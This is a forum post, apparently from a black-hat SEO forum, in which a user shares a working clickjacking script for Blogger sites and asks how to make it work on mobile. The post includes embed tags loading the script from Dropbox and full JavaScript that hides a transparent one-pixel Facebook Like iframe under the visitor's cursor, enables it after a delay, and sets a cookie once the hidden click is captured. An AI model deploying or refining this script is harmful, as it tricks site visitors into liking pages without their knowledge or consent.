Dr.Varun
Newbie
- Apr 27, 2017
- 7
- 2
Hello,
I'm pretty new to blackhatworld but tried an auto-jack script recently for blogger. However, it was not working, including on the websites i found in the thread. So, i decided to make it work on my way.
Storyline in Short: I somehw managed to make the code work in google chrome with ?m=0 version (not ?m=1) and firefox. It works super in Desktop, but fails to work in mobile. Chrome in mobile seems to see it, but reject the script. Any help?
I started with uploading script to Google Drive (it sucks), so i used dropbox.
Here's it:
Jquery Plugin:
Script File:
Dropbox upload:
The Actual Code
I'm pretty new to blackhatworld but tried an auto-jack script recently for blogger. However, it was not working, including on the websites i found in the thread. So, i decided to make it work on my way.
Storyline in Short: I somehw managed to make the code work in google chrome with ?m=0 version (not ?m=1) and firefox. It works super in Desktop, but fails to work in mobile. Chrome in mobile seems to see it, but reject the script. Any help?
I started with uploading script to Google Drive (it sucks), so i used dropbox.
Here's it:
Jquery Plugin:
Code:
<script src='https://code.jquery.com/jquery-1.11.0.min.js'/>
Script File:
Dropbox upload:
Code:
<script src='https://dl.dropboxusercontent.com/s/6dneyudgz02carr/cj.js'/>
The Actual Code
Code:
// Click Jack Script Made By Fagenorn - 09/01/'16
//Set the facebook page you would like to use.
var page_ = encodeURIComponent("https://www.facebook.com/techztoday/");
//Set the opacity of the like button (0-100). Set this to 0 when going live
var Opacity = 0
//Set the size of the IFRAMEin pixels (1px recomended when going live)
var Size_px = 1;
//Whether to use a pointer cursor or the default cursor
var use_pointer = false;
//Cookie Duration
var dur_Cook = "Thu, 18 Dec 2020 12:00:00 UTC";
//=============================================================================================
if("undefined"==typeof jQuery)throw new Error("ClickJack requires jQuery");
var cursor = "default";
if(use_pointer){
cursor = "pointer";
};
var newOP = (parseInt(Opacity) / parseInt(100));
$(document).ready(function() {
var $div = $(
' <div id="vvrapper"><iframe sandbox="allow-same-origin allow-pointer-lock allow-scripts allow-forms" id="lmao" src="https://www.facebook.com/plugins/like.php?href='+page_+'&width=50&layout=button&action=like&size=large&show_faces=false&share=false&height=65&appId" width="'+Size_px+'" height="'+Size_px+'" style="border:none;pointer-events:none;overflow:hidden;position:absolute;top:0; left:0;filter:alpha(opacity='+Opacity+');opacity:'+newOP+';z-index:99" scrolling="no" frameborder="0" allowTransparency="true"></iframe><div id="anti-cursor"></div> </div>'
).appendTo("body");
window.setInterval(ganttEach, 5000);
$('#anti-cursorr').css({
position: 'absolute',
top: 0,
left: 0,
cursor: cursor,
width: 30,
height: 30,
'pointer-events':'none',
'z-index': 100
});
$('#vvrapper').css({
});
$(document).on('mousemove', function(e) {
$('#lmao').css({
left: e.pageX - Math.floor((Size_px/2)),
top: e.pageY - Math.floor((Size_px/2))
});
$('#anti-cursor').css({
left: e.pageX - Math.floor((Size_px/2)),
top: e.pageY - Math.floor((Size_px/2))
});
});
if (getCookie("_hslkd")) {
$("#lmao").remove()
}
focus();
var listener = addEventListener('blur', function() {
if (document.activeElement === document.getElementById('lmao')) {
// clicked
document.cookie = "_hslkd=true; expires="+dur_Cook;
window.setTimeout(function() {
$("#lmao").remove()
}, 500);
}
});
});
function ganttEach() {
$("#lmao").css('pointer-events','auto');
}
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}